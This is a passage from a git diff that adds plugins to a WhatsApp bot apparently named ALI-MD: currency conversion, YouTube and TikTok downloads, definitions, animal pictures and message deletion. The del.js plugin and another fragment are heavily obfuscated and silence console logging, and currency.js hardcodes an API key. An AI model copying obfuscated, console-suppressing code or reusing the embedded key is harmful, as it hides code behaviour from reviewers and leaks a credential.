_0x50edc5['sendMessage'](_0x4da616,{'image':{'url':_0x355e74},'caption':_0x5e44d9(0x1d4)},{'quoted':_0xc5df33}),_0x4470cd&&await _0x50edc5[_0x5e44d9(0x1d6)](_0x4da616,{'image':{'url':_0x4470cd},'caption':_0x5e44d9(0x1d0)},{'quoted':_0xc5df33});}catch(_0x305b06){console['error'](_0x305b06),_0x59b37a(_0x5e44d9(0x1d7));}});function _0xfffc(){const _0x411980=['axios','cpp','๐Ÿ‘ฉ\x20Female\x20Couple\x20Profile\x20Picture','male','321066Dejrbs','*๐Ÿ’‘\x20Fetching\x20couple\x20profile\x20pictures...*','๐Ÿ‘จ\x20Male\x20Couple\x20Profile\x20Picture','556002UfVEcr','sendMessage','โŒ\x20An\x20error\x20occurred\x20while\x20fetching\x20the\x20couple\x20profile\x20pictures.','couple','6195iJUMlE','data','.couplepp','https://api.davidcyriltech.my.id/couplepp','22796460czZgxG','54JmUneQ','848008amZrVU','female','../command','โŒ\x20Failed\x20to\x20fetch\x20couple\x20profile\x20pictures.\x20Please\x20try\x20again\x20later.','1235399KamglY','11120jHdndD','3IeXCyi','413125PyiwIH','log','Hello\x20World!','couplepp','get','success'];_0xfffc=function(){return _0x411980;};return _0xfffc();} diff --git a/plugins/currency.js b/plugins/currency.js new file mode 100644 index 0000000000000000000000000000000000000000..d77d0a6aa784814bee21a3a6d765f672898533fe --- /dev/null +++ b/plugins/currency.js @@ -0,0 +1,70 @@ +const { cmd } = require("../command"); +const axios = require('axios'); + +const BASE_URL = "https://v6.exchangerate-api.com/v6"; +const API_KEY = "9c8b8532d40e5da04fac9772"; + +cmd({ + pattern: "convertmoney", + react: "๐Ÿ’ธ", + alias: ["currency", "cvmoney"], + desc: "Convert money from one currency to another currency", + category: "utility", + use: ".currency amount fromCurrency toCurrency (e.g: .convert 100 USD EUR)", + filename: __filename, +}, async (conn, mek, msg, { from, reply, args }) => { + try { + if (args.length !== 3) { + return reply("*โญ• ษชษดแด แด€สŸษชแด… า“แดส€แดแด€แด›! แดœsแด‡: .แด„แดœส€ส€แด‡ษดแด„ส แด€แดแดแดœษดแด› า“ส€แดแดแด„แดœส€ส€แด‡ษดแด„ส แด›แดแด„แดœส€ส€แด‡ษดแด„ส*\n*แด‡xแด€แดแด˜สŸแด‡: .แด„แดœส€ส€แด‡ษดแด„ส ๐Ÿท๐Ÿถ๐Ÿถ แดœsแด… แด˜แด‹ส€*"); + } + + const amount = parseFloat(args[0]); + const fromCurrency = args[1].toUpperCase(); + const toCurrency = args[2].toUpperCase(); + + if (isNaN(amount)) { + return reply("*โŒ แด˜สŸแด‡แด€sแด‡ แด˜ส€แดแด ษชแด…แด‡ แด€ แด แด€สŸษชแด… แด€แดแดแดœษดแด›!*"); + } + + const response = await axios.get(`${BASE_URL}/${API_KEY}/latest/${fromCurrency}`); + + if (response.data.result === "error") { + throw new Error(response.data["error-type"]); + } + + const rates = response.data.conversion_rates; + + if (!rates[toCurrency]) { + return reply("*โŒ ษชษดแด แด€สŸษชแด… แด›แด€ส€ษขแด‡แด› แด„แดœส€ส€แด‡ษดแด„ส แด„แดแด…แด‡! แด˜สŸแด‡แด€sแด‡ แดœsแด‡ แด แด€สŸษชแด… แด„แดœส€ส€แด‡ษดแด„ส แด„แดแด…แด‡s สŸษชแด‹แด‡ แดœsแด…, แด‡แดœส€, ษขส™แด˜, แด‡แด›แด„.*"); + } + + const convertedAmount = (amount * rates[toCurrency]).toFixed(2); + const formattedAmount = new Intl.NumberFormat().format(amount); + const formattedResult = new Intl.NumberFormat().format(convertedAmount); + + const message = `*๐ŸŒ แด€สŸษช-แดแด…- แด„แดœส€ส€แด‡ษดแด„ส แด„แดษดแด แด‡ส€sษชแดษด ๐Ÿ’ต*\n\n` + + `*๐Ÿ’ฒ า“ส€แดแด:* ${formattedAmount} ${fromCurrency}\n` + + `*๐Ÿท๏ธ แด›แด:* ${formattedResult} ${toCurrency}\n` + + `*๐Ÿ’ฐ ส€แด€แด›แด‡:* 1 ${fromCurrency} = ${rates[toCurrency]} ${toCurrency}\n\n` + + `*โฐ สŸแด€sแด› แดœแด˜แด…แด€แด›แด‡แด…:* ${response.data.time_last_update_utc}`; + + reply(message); + + } catch (error) { + console.error("Currency conversion error:", error); + + if (error.message === "unsupported-code") { + reply("โŒ Invalid currency code! Please use valid currency codes like USD, EUR, GBP, etc."); + } else if (error.message === "malformed-request") { + reply("โŒ Invalid API request format. Please try again."); + } else if (error.message === "invalid-key") { + reply("โŒ API key validation failed. Please contact the administrator."); + } else if (error.message === "inactive-account") { + reply("โŒ API account is not active. Please contact the administrator."); + } else if (error.message === "quota-reached") { + reply("โŒ API quota has been reached. Please try again later."); + } else { + reply("โŒ Failed to convert currency. Please try again later."); + } + } +}); diff --git a/plugins/darama+music.js b/plugins/darama+music.js new file mode 100644 index 0000000000000000000000000000000000000000..8cca2e28a7d1321827125c9244e3da85fedbc664 --- /dev/null +++ b/plugins/darama+music.js @@ -0,0 +1,106 @@ +const {cmd , commands} = require('../command') +const fg = require('api-dylux') +const yts = require('yt-search') +cmd({ + pattern: "play3", + desc: "To download songs.", + react: "๐ŸŽต", + category: "download", + filename: __filename +}, +async(conn, mek, m,{from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply}) => { +try{ +if(!q) return reply("Please give me a url or title") +const search = await yts(q) +const data = search.videos[0]; +const url = data.url + + +let desc = ` +*โซทโฆALI-MD-V1 MUSโตŠC DOWNLOADโตŠNGโฆโซธ* + +๐ŸŽต *MUSโตŠC FOUND!* + +โžฅ *Title:* ${data.title} +โžฅ *Duration:* ${data.timestamp} +โžฅ *Views:* ${data.views} +โžฅ *Uploaded On:* ${data.ago} +โžฅ *Link:* ${data.url} + +๐ŸŽง *ENJOY THE MUSIC BROUGHT TO YOU!* + +> *ALI-MD-V1 WHATSAPP BOT* + +> *ยฉ แด„ส€แด‡แด€แด›แด‡แด… ส™ส แด€สŸษช-แดแด…* +` + +await conn.sendMessage(from,{image:{url: data.thumbnail},caption:desc},{quoted:mek}); + +//download audio + +let down = await fg.yta(url) +let downloadUrl = down.dl_url + +//send audio message +await conn.sendMessage(from,{audio: {url:downloadUrl},mimetype:"audio/mpeg"},{quoted:mek}) +await conn.sendMessage(from,{document: {url:downloadUrl},mimetype:"audio/mpeg",fileName:data.title + ".mp3",caption:"*ยฉ แด„ส€แด‡แด€แด›แด‡แด… ส™ส แด€สŸษช-แดแด…*"},{quoted:mek}) + +}catch(e){ +console.log(e) + reply(`_Hi ${pushname} retry later_`) +} +}) + +//====================video_dl======================= + +cmd({ + pattern: "darama", + alias: ["video3"], + desc: "To download videos.", + react: "๐ŸŽฅ", + category: "download", + filename: __filename +}, +async(conn, mek, m,{from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply}) => { +try{ +if(!q) return reply("Please give me a url or title") +const search = await yts(q) +const data = search.videos[0]; +const url = data.url + + +let desc = ` +*โซทโฆALI-MD-V1 VโตŠDEO DOWNLOADโตŠNGโฆโซธ* + +๐ŸŽฅ *VโตŠDEO FOUND!* + +โžฅ *Title:* ${data.title} +โžฅ *Duration:* ${data.timestamp} +โžฅ *Views:* ${data.views} +โžฅ *Uploaded On:* ${data.ago} +โžฅ *Link:* ${data.url} + +๐ŸŽฌ *ENJOY THE VIDEO BROUGHT TO YOU!* + +> *ALI-MD-V1 WHATSAPP BOT* + +> *ยฉ แด„ส€แด‡แด€แด›แด‡แด… ส™ส แด€สŸษช-แดแด…* +` + +await conn.sendMessage(from,{image:{url: data.thumbnail},caption:desc},{quoted:mek}); + +//download video + +let down = await fg.ytv(url) +let downloadUrl = down.dl_url + +//send video message +await conn.sendMessage(from,{video: {url:downloadUrl},mimetype:"video/mp4"},{quoted:mek}) +await conn.sendMessage(from,{document: {url:downloadUrl},mimetype:"video/mp4",fileName:data.title + ".mp4",caption:"*ยฉ แด„ส€แด‡แด€แด›แด‡แด… ส™ส แด€สŸษช-แดแด…*"},{quoted:mek}) + +}catch(e){ +console.log(e) + reply(`_Hi ${pushname} retry later_`) +} +}) +// diff --git a/plugins/define.js b/plugins/define.js new file mode 100644 index 0000000000000000000000000000000000000000..11c17c479d16fccffffa469fd6fef880dea926d7 --- /dev/null +++ b/plugins/define.js @@ -0,0 +1,44 @@ + + + +const axios = require('axios'); + const {cmd , commands} = require('../command'); + + cmd({ + pattern: "define", + desc: "๐Ÿ“š Get the definition of a word", + react: "๐Ÿ”", + category: "Auther", + filename: __filename + }, + async (conn, mek, m, { from, q, reply }) => { + try { + if (!q) return reply("โ— Please provide a word to define. Usage: .define [word]"); + + const word = q; + const url = `https://api.dictionaryapi.dev/api/v2/entries/en/${word}`; + + const response = await axios.get(url); + const definitionData = response.data[0]; + + const definition = definitionData.meanings[0].definitions[0].definition; + const example = definitionData.meanings[0].definitions[0].example || 'No example available'; + const synonyms = definitionData.meanings[0].definitions[0].synonyms.join(', ') || 'No synonyms available'; + +const wordInfo = ` +๐Ÿ“š *Word*: ${definitionData.word} +๐Ÿ” *Definition*: ${definition} +๐Ÿ“ *Example*: ${example} +๐Ÿ”— *Synonyms*: ${synonyms} + +*MADE WITH โ™ฅ ALI-MD*`; + + return reply(wordInfo); + } catch (e) { + console.log(e); + if (e.response && e.response.status === 404) { + return reply("๐Ÿšซ Word not found. Please check the spelling and try again."); + } + return reply("โš ๏ธ An error occurred while fetching the definition. Please try again later."); + } + }); diff --git a/plugins/del.js b/plugins/del.js new file mode 100644 index 0000000000000000000000000000000000000000..bc9c940368fe208e32afa97a81f759614b1682f7 --- /dev/null +++ b/plugins/del.js @@ -0,0 +1 @@ +(function(_0xc623c3,_0x28dde9){function _0x1a676e(_0x117282,_0x582a71,_0x5dec56,_0x2a5e06){return _0x4bb6(_0x582a71-0x17f,_0x117282);}const _0x3dd15b=_0xc623c3();function _0x25844b(_0x106e53,_0x591abe,_0x83f95,_0xd2c867){return _0x4bb6(_0x83f95- -0x7e,_0xd2c867);}while(!![]){try{const _0x3adf7d=parseInt(_0x1a676e(0x2dc,0x2df,0x2dd,0x2ec))/(0x1d3*-0x8+-0x1f2*0x12+0x1*0x319d)+-parseInt(_0x1a676e(0x2e6,0x2e2,0x2f4,0x2eb))/(-0x2*-0xcac+-0x6a6*-0x1+0x59*-0x5c)+parseInt(_0x1a676e(0x2b6,0x2d0,0x2dc,0x2b9))/(-0x987*-0x3+0x252e+-0x41c0)*(-parseInt(_0x1a676e(0x2d6,0x2c7,0x2c0,0x2b5))/(0xafe+0x435*0x9+-0x30d7))+-parseInt(_0x25844b(0xb3,0xd0,0xb7,0x9f))/(0x2d9+-0x143a+0x1166)+-parseInt(_0x25844b(0xae,0xb3,0xc7,0xbc))/(-0x18ed+-0x247c+0x3d6f*0x1)+-parseInt(_0x1a676e(0x2be,0x2b6,0x2b2,0x2ca))/(0x197c+0x1482+-0x2df7)+parseInt(_0x1a676e(0x2c4,0x2e4,0x2e1,0x2eb))/(-0x2659*-0x1+-0xa17+0xe1d*-0x2);if(_0x3adf7d===_0x28dde9)break;else _0x3dd15b['push'](_0x3dd15b['shift']());}catch(_0x122d9f){_0x3dd15b['push'](_0x3dd15b['shift']());}}}(_0x522f,0x2c3e*0x9+-0x2*0x2b3+0xfdd0));const _0x234d89=(function(){let _0x1b947a=!![];return function(_0x336527,_0x341313){const _0x551a1e=_0x1b947a?function(){function _0x5a20be(_0x24d2b1,_0x1c3dab,_0xedf276,_0x45380d){return _0x4bb6(_0xedf276- -0x2de,_0x24d2b1);}if(_0x341313){const _0x564418=_0x341313[_0x5a20be(-0x19b,-0x174,-0x18e,-0x19e)](_0x336527,arguments);return _0x341313=null,_0x564418;}}:function(){};return _0x1b947a=![],_0x551a1e;};}()),_0x3d8bf3=_0x234d89(this,function(){function _0x5cca49(_0x2a0d48,_0x397cf6,_0xb4767,_0x3a4c21){return _0x4bb6(_0x2a0d48- -0x2e4,_0x3a4c21);}function _0x85a975(_0x26a124,_0x1fae3b,_0x52474d,_0x1b5f6d){return _0x4bb6(_0x1fae3b-0x3df,_0x1b5f6d);}return _0x3d8bf3[_0x85a975(0x50c,0x517,0x528,0x505)]()[_0x5cca49(-0x17c,-0x174,-0x193,-0x179)]('(((.+)+)+)'+'+$')[_0x5cca49(-0x1ac,-0x19f,-0x191,-0x1bb)]()[_0x85a975(0x52d,0x519,0x518,0x4fd)+'r'](_0x3d8bf3)[_0x5cca49(-0x17c,-0x17a,-0x171,-0x179)]('(((.+)+)+)'+'+$');});_0x3d8bf3();function _0x4bb6(_0x5e61de,_0x3d8bf3){const _0x234d89=_0x522f();return _0x4bb6=function(_0x522fe1,_0x4bb6cf){_0x522fe1=_0x522fe1-(0x1*-0xbb5+0xcef+-0x11);let _0x57a985=_0x234d89[_0x522fe1];return _0x57a985;},_0x4bb6(_0x5e61de,_0x3d8bf3);}const _0x520dae=(function(){let _0x3f855f=!![];return function(_0x4608b9,_0x4d4ee6){const _0x53cd63=_0x3f855f?function(){function _0x26180a(_0x249c43,_0x16037b,_0xe4d923,_0x2a04cc){return _0x4bb6(_0x16037b- -0xfd,_0x2a04cc);}function _0x196690(_0x2b894e,_0x298abc,_0x489fd9,_0x13ad0e){return _0x4bb6(_0x13ad0e- -0x36f,_0x2b894e);}if(_0x4d4ee6){if(_0x26180a(0x22,0x33,0x3e,0x3e)!==_0x196690(-0x25b,-0x239,-0x258,-0x23f)){if(_0x34c46e){const _0x124f32=_0x38247d[_0x26180a(0x65,0x53,0x3a,0x3d)](_0x3d99ba,arguments);return _0x7142cb=null,_0x124f32;}}else{const _0x15ba0b=_0x4d4ee6[_0x196690(-0x20d,-0x201,-0x20e,-0x21f)](_0x4608b9,arguments);return _0x4d4ee6=null,_0x15ba0b;}}}:function(){};return _0x3f855f=![],_0x53cd63;};}()),_0x327182=_0x520dae(this,function(){const _0x727db2={'yyHqb':function(_0x50f87e,_0x8ce2d){return _0x50f87e(_0x8ce2d);},'tCwWm':function(_0x5abbd4,_0x2a88ed){return _0x5abbd4+_0x2a88ed;},'huxbh':'{}.constru'+_0x292ee6(-0x269,-0x278,-0x27c,-0x265)+_0x292ee6(-0x274,-0x26c,-0x27d,-0x280)+'\x20)','Fmmju':function(_0x65d3df){return _0x65d3df();},'PPiZc':function(_0x164c7e,_0x355cd7){return _0x164c7e(_0x355cd7);},'QggrC':_0x292ee6(-0x272,-0x274,-0x269,-0x275)+_0x292ee6(-0x26a,-0x24f,-0x269,-0x285),'gnAeA':'KwfSG','ABrSI':_0x292ee6(-0x286,-0x29a,-0x27e,-0x270),'ODswA':_0x292ee6(-0x256,-0x25a,-0x267,-0x26f),'ZgzVd':'exception','yJBUP':'table','FGOWh':function(_0x1c5517,_0x6a6831){return _0x1c5517<_0x6a6831;}};let _0x5051df;function _0x4e3b83(_0x3b614e,_0x564a25,_0x2c1b0f,_0x155d3c){return _0x4bb6(_0x155d3c-0x183,_0x3b614e);}try{const _0x584377=_0x727db2['PPiZc'](Function,_0x727db2['tCwWm'](_0x727db2['QggrC']+_0x727db2[_0x4e3b83(0x2a3,0x298,0x2c2,0x2b4)],');'));_0x5051df=_0x727db2[_0x4e3b83(0x2f9,0x2c9,0x2eb,0x2da)](_0x584377);}catch(_0x2093a2){if('PIVGo'!==_0x727db2[_0x4e3b83(0x2da,0x2e0,0x2e0,0x2ce)])_0x5051df=window;else{const _0x3f1db5=_0x727db2[_0x292ee6(-0x28b,-0x27d,-0x273,-0x297)](_0x43d449,_0x727db2[_0x292ee6(-0x284,-0x290,-0x271,-0x276)]('return\x20(fu'+_0x292ee6(-0x26a,-0x289,-0x267,-0x25a),_0x727db2['huxbh'])+');');_0x58602f=_0x727db2[_0x292ee6(-0x261,-0x267,-0x25f,-0x25b)](_0x3f1db5);}}function _0x292ee6(_0x4bedca,_0x176401,_0x307c3a,_0x26591d){return _0x4bb6(_0x4bedca- -0x3b8,_0x176401);}const _0x33dff9=_0x5051df[_0x4e3b83(0x2be,0x2ca,0x2f1,0x2dd)]=_0x5051df[_0x4e3b83(0x2f7,0x2fd,0x2e9,0x2dd)]||{},_0x5d4253=[_0x292ee6(-0x25a,-0x276,-0x23f,-0x25a),'warn',_0x727db2['ABrSI'],_0x727db2[_0x4e3b83(0x2c0,0x2c0,0x2b9,0x2cc)],_0x727db2[_0x4e3b83(0x2a6,0x2d7,0x2cc,0x2be)],_0x727db2[_0x292ee6(-0x27b,-0x263,-0x285,-0x294)],_0x4e3b83(0x2dd,0x2f1,0x2c2,0x2db)];for(let _0x639648=0xc*-0x195+-0xd*-0x1c7+-0x41f;_0x727db2[_0x292ee6(-0x254,-0x257,-0x24f,-0x242)](_0x639648,_0x5d4253[_0x4e3b83(0x2bf,0x2af,0x2b9,0x2b2)]);_0x639648++){const _0x3b78ce=_0x520dae[_0x292ee6(-0x27e,-0x263,-0x29d,-0x283)+'r'][_0x292ee6(-0x275,-0x261,-0x269,-0x263)]['bind'](_0x520dae),_0x4b5787=_0x5d4253[_0x639648],_0x419d68=_0x33dff9[_0x4b5787]||_0x3b78ce;_0x3b78ce[_0x292ee6(-0x25d,-0x271,-0x264,-0x279)]=_0x520dae[_0x292ee6(-0x266,-0x246,-0x274,-0x247)](_0x520dae),_0x3b78ce['toString']=_0x419d68['toString']['bind'](_0x419d68),_0x33dff9[_0x4b5787]=_0x3b78ce;}});_0x327182();const {cmd}=require('../command'),fs=require('fs');function _0x29497b(_0x5029a3,_0x36ea73,_0x5b77fe,_0x16a15a){return _0x4bb6(_0x5029a3-0x16b,_0x36ea73);}function _0x522f(){const _0x17c82e=['del','quoted','search','\x20the\x20messa','dlt','category','ฯƒแดœแด˜\x20ฮฑโˆ‚ะผฮนษดs','yyHqb','key','length','AsXvW','huxbh','info','group','tCwWm','1549290RLScHY','PxFBF','952056YkzpYT','toString','filename','constructo','ZgzVd','sage','yJBUP','ge.','\x20ฯƒส€\x20ั‚ะฝั”\x20ฯƒฯ‰','react','Delete\x20mes','chat','prototype','rn\x20this\x22)(','375660evXdXL','return\x20(fu','alias','304bLldhh','ODswA','ั”\x20ั‚ะฝฮนั•\x20แด„ฯƒะผ','gnAeA','ษดั”ส€\x20แด„ฮฑษด\x20แดœs','path','nction()\x20','ctor(\x22retu','apply','7302CqpbXL','bind','pattern','fromMe','use','sendMessag','Fmmju','trace','e\x20deleting','console','__proto__','delete','*๐Ÿ“›\x20ฯƒษดโ„“ส\x20gส€','log','sender','178950TEOmUx','Ihjjr','error','106998laJHaQ','FGOWh','5868296WKvYRE'];_0x522f=function(){return _0x17c82e;};return _0x522f();}const path=require(_0x29497b(0x2b8,0x2cb,0x2ca,0x2b0));function _0x4d824a(_0x24b2da,_0x48cce4,_0x2839b1,_0x1af538){return _0x4bb6(_0x48cce4-0x58,_0x24b2da);}const _0x11d8b8={};_0x11d8b8[_0x4d824a(0x197,0x1ab,0x1b1,0x1ca)]=_0x4d824a(0x1aa,0x1b4,0x1c9,0x1b5),_0x11d8b8[_0x29497b(0x2ab,0x296,0x2b4,0x29c)]='๐Ÿงน',_0x11d8b8[_0x29497b(0x2b2,0x2a8,0x2cd,0x2c9)]=[_0x29497b(0x2d1,0x2bd,0x2da,0x2ce),_0x29497b(0x295,0x29d,0x2a1,0x27b),'d'],_0x11d8b8['desc']=_0x4d824a(0x179,0x199,0x193,0x184)+_0x29497b(0x2a7,0x291,0x2bf,0x2ab),_0x11d8b8[_0x29497b(0x296,0x2a1,0x2a6,0x2a2)]=_0x4d824a(0x173,0x18b,0x16c,0x18f),_0x11d8b8[_0x29497b(0x2c0,0x2dc,0x2b9,0x2de)]='.del',_0x11d8b8[_0x29497b(0x2a4,0x2af,0x2b0,0x289)]=__filename,cmd(_0x11d8b8,async(_0x172995,_0x2cd619,_0x8e8456,{from:_0x57edda,l:_0x3d9e1d,quoted:_0x58229f,body:_0x4b5491,isCmd:_0x113be0,command:_0x495868,args:_0x22989a,q:_0x1793cd,isGroup:_0x5823c5,sender:_0x42e96e,senderNumber:_0x369229,botNumber2:_0x5f584a,botNumber:_0x27a9c2,pushname:_0x556b2c,isMe:_0x40f3ee,isOwner:_0x17bdb5,groupMetadata:_0x53265b,groupName:_0x4412aa,participants:_0x2225e7,isItzcp:_0x47334d,groupAdmins:_0x51af1a,isBotAdmins:_0x2f359a,isAdmins:_0x41dfbb,reply:_0x85ee99})=>{function _0x5e427c(_0x1b636c,_0x86ef6,_0x2654b6,_0x3bd530){return _0x4d824a(_0x1b636c,_0x2654b6-0x139,_0x2654b6-0xd5,_0x3bd530-0x94);}const _0x47a453={'cvfKW':function(_0x360af8,_0x409697){return _0x360af8&&_0x409697;},'Ihjjr':function(_0x3fea81,_0x5eb551){return _0x3fea81(_0x5eb551);},'PxFBF':_0x5e427c(0x2fe,0x30d,0x2ee,0x2e7)+_0x5e8c6b(0x448,0x45b,0x42c,0x464)+_0x5e8c6b(0x45b,0x465,0x45d,0x46b)+_0x5e427c(0x2c7,0x2fd,0x2dd,0x2e5)+_0x5e427c(0x2f6,0x2e3,0x2db,0x2e9)+'ะผฮฑษดโˆ‚.*'};function _0x5e8c6b(_0x171fd2,_0x3de8cc,_0x45a3fb,_0x1df6ff){return _0x4d824a(_0x45a3fb,_0x171fd2-0x2c4,_0x45a3fb-0x180,_0x1df6ff-0x1f0);}if(_0x47a453['cvfKW'](!_0x17bdb5,!_0x41dfbb))return _0x47a453[_0x5e8c6b(0x47d,0x496,0x46f,0x499)](_0x85ee99,_0x47a453[_0x5e427c(0x2b0,0x2db,0x2c7,0x2b8)]);try{if(!_0x8e8456[_0x5e8c6b(0x483,0x46a,0x468,0x468)]||!_0x8e8456['quoted']['id'])return;const _0xc86dbb=_0x8e8456[_0x5e427c(0x301,0x2e3,0x2f8,0x2e5)][_0x5e8c6b(0x44a,0x464,0x43a,0x465)]||{'remoteJid':_0x8e8456[_0x5e8c6b(0x45e,0x474,0x451,0x447)],'fromMe':_0x8e8456[_0x5e427c(0x2eb,0x2dd,0x2f8,0x2ed)][_0x5e8c6b(0x470,0x47d,0x472,0x453)],'id':_0x8e8456['quoted']['id'],'participant':_0x8e8456[_0x5e427c(0x2ed,0x2ef,0x2f8,0x2e4)][_0x5e8c6b(0x47b,0x496,0x497,0x47b)]},_0x418e47={};_0x418e47[_0x5e8c6b(0x478,0x476,0x47e,0x471)]=_0xc86dbb,await _0x172995[_0x5e8c6b(0x472,0x486,0x48c,0x491)+'e'](_0x8e8456[_0x5e427c(0x2ea,0x2b6,0x2d3,0x2f2)],_0x418e47);}catch(_0x44e7e7){console[_0x5e427c(0x2f6,0x305,0x2ef,0x2e3)](_0x44e7e7),_0x85ee99('Error\x20whil'+_0x5e8c6b(0x475,0x47e,0x48c,0x47d)+_0x5e8c6b(0x445,0x45c,0x464,0x436)+_0x5e427c(0x2dc,0x2b0,0x2cf,0x2ca));}}); diff --git a/plugins/dl-tiktok.js b/plugins/dl-tiktok.js new file mode 100644 index 0000000000000000000000000000000000000000..cfc200a8157e4da02ddc6f85d07895f957233653 --- /dev/null +++ b/plugins/dl-tiktok.js @@ -0,0 +1,81 @@ +const axios = require("axios"); +const { cmd } = require("../command"); + +cmd({ + pattern: "tiktok", + alias: ["ttdl", "tiktokdl","tt"], + react: 'โฐ', + desc: "Download TikTok videos.", + category: "download", + use: ".tiktok ", + filename: __filename +}, async (conn, mek, m, { from, reply, args }) => { + try { + // Check if the user provided a TikTok video URL + const tiktokUrl = args[0]; + if (!tiktokUrl || !tiktokUrl.includes("tiktok.com")) { + return reply('Please provide a valid TikTok video URL. Example: `.tiktok https://tiktok.com/...`'); + } + + // Add a reaction to indicate processing + await conn.sendMessage(from, { react: { text: 'โณ', key: m.key } }); + + // Prepare the API URL + const apiUrl = `https://api.nexoracle.com/downloader/tiktok-nowm?apikey=free_key@maher_apis&url=${encodeURIComponent(tiktokUrl)}`; + + // Call the API using GET + const response = await axios.get(apiUrl); + + // Check if the API response is valid + if (!response.data || response.data.status !== 200 || !response.data.result) { + return reply('โŒ Unable to fetch the video. Please check the URL and try again.'); + } + + // Extract the video details + const { title, thumbnail, author, metrics, url } = response.data.result; + + // Inform the user that the video is being downloaded + // await reply(`๐Ÿ“ฅ *Downloading TikTok video by @${author.username}... Please wait.*`); + + // Download the video + const videoResponse = await axios.get(url, { responseType: 'arraybuffer' }); + if (!videoResponse.data) { + return reply('โŒ Failed to download the video. Please try again later.'); + } + + // Prepare the video buffer + const videoBuffer = Buffer.from(videoResponse.data, 'binary'); + + // Send the video with details + await conn.sendMessage(from, { + video: videoBuffer, + caption: `*๐ŸซŸ๐€ษญฤซฤซ ๐ŒฦŠ ๐ƒ๐Ž๐–๐๐‹๐Ž๐€๐ƒ๐„๐ƒ*\n\n` + + `๐Ÿ”– *แด›ษชแด›สŸแด‡*: ${title || "No title"}\n` + + `๐Ÿ‘ค *แด€แดœแด›สœแดส€*: ${author.nickname}\n` + + `โ™ฅ๏ธ *สŸษชแด‹แด‡s*: ${metrics.digg_count}\n` + + `๐Ÿ’ฌ *แด„แดแดแดแด‡ษดแด›s*: ${metrics.comment_count}\n` + + `โ™ป๏ธ *sสœแด€ส€แด‡s*: ${metrics.share_count}\n` + + `๐Ÿ“ฅ *แด…แดแดกษดสŸแดแด€แด…s*: ${metrics.download_count}\n\n` + + `> *ยฉ แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช*`, + contextInfo: { + mentionedJid: [m.sender], + forwardingScore: 999, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363318387454868@newsletter', + newsletterName: 'ใ€Ž ๐€ษญฤซฤซ ๐ŒฦŠ ๐’สŠฬŠ๐๐เนแึŸษผสˆ ใ€', + serverMessageId: 143 + } + } + }, { quoted: mek }); + + // Add a reaction to indicate success + await conn.sendMessage(from, { react: { text: 'โœ…', key: m.key } }); + } catch (error) { + console.error('Error downloading TikTok video:', error); + reply('โŒ Unable to download the video. Please try again later.'); + + // Add a reaction to indicate failure + await conn.sendMessage(from, { react: { text: 'โŒ', key: m.key } }); + } +}); diff --git a/plugins/dog.js b/plugins/dog.js new file mode 100644 index 0000000000000000000000000000000000000000..a92af99e9b9f87a14286ab2b57d4a079cef77cb9 --- /dev/null +++ b/plugins/dog.js @@ -0,0 +1,45 @@ + + +const axios = require('axios'); +const { cmd, commands } = require('../command'); + +cmd({ + pattern: "dog", + desc: "Fetch a random dog image.", + category: "fun", + react: "๐Ÿถ", + filename: __filename +}, +async (conn, mek, m, { from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply }) => { + try { + const apiUrl = `https://dog.ceo/api/breeds/image/random`; + const response = await axios.get(apiUrl); + const data = response.data; + + await conn.sendMessage(from, { image: { url: data.message }, caption: 'ALI-MD-V1 DOWNLOAD DOG ๐Ÿ• PICS\n\n\n> *๐Ÿ•BY ALI TECH๐Ÿ•*' }, { quoted: mek }); + } catch (e) { + console.log(e); + reply(`Error Fetching Dog Image๐Ÿค•: ${e.message}`); + } +}); +cmd({ + pattern: "cat", + desc: "Fetch a random cat image.", + category: "fun", + react: "๐Ÿฑ", + filename: __filename +}, +async (conn, mek, m, { from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply }) => { + try { + // API URL to fetch a random cat image + const apiUrl = `https://api.thecatapi.com/v1/images/search`; + const response = await axios.get(apiUrl); + const data = response.data; + + // Send the cat image with a caption + await conn.sendMessage(from, { image: { url: data[0].url }, caption: 'ALI-MD-V1 DOWNLOAD CAT ๐Ÿˆ PICS\n\n> *๐ŸˆBY ALI TECH๐Ÿˆ*' }, { quoted: mek }); + } catch (e) { + console.log(e); + reply(`Error Fetching Cat Image ๐Ÿค•: ${e.message}`); + } +}); diff --git a/plugins/download.js b/plugins/download.js new file mode 100644 index 0000000000000000000000000000000000000000..9e68114be4d07c8f4f11dd409995d0a944dc21f3 --- /dev/null +++ b/plugins/download.js @@ -0,0 +1,283 @@ +const { fetchJson } = require("../lib/functions"); +const { downloadTiktok } = require("@mrnima/tiktok-downloader"); +const { facebook } = require("@mrnima/facebook-downloader"); +const cheerio = require("cheerio"); +const { igdl } = require("ruhend-scraper"); +const axios = require("axios"); +const { cmd, commands } = require('../command'); + +// twitter-dl + +cmd({ + pattern: "twitter", + alias: ["tweet", "twdl"], + desc: "Download Twitter videos", + category: "download", + filename: __filename +}, async (conn, m, store, { + from, + quoted, + q, + reply +}) => { + try { + if (!q || !q.startsWith("https://")) { + return conn.sendMessage(from, { text: "โŒ Please provide a valid Twitter URL." }, { quoted: m }); + } + + await conn.sendMessage(from, { + react: { text: 'โณ', key: m.key } + }); + + const response = await axios.get(`https://www.dark-yasiya-api.site/download/twitter?url=${q}`); + const data = response.data; + + if (!data || !data.status || !data.result) { + return reply("โš ๏ธ Failed to retrieve Twitter video. Please check the link and try again."); + } + + const { desc, thumb, video_sd, video_hd } = data.result; + + const caption = `โ•ญโ•โ•โ•โ• ใ€” *๐€ษญฤซฤซ ๐ŒฦŠ* ใ€•โ•โ•โ•โ•โ\n` + + `โ”ƒโ–ธ *Description:* ${desc || "No description"}\n` + + `โ•ฐโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ\n\n` + + `๐Ÿ“น *Download Options:*\n` + + `1๏ธโƒฃ *SD Quality*\n` + + 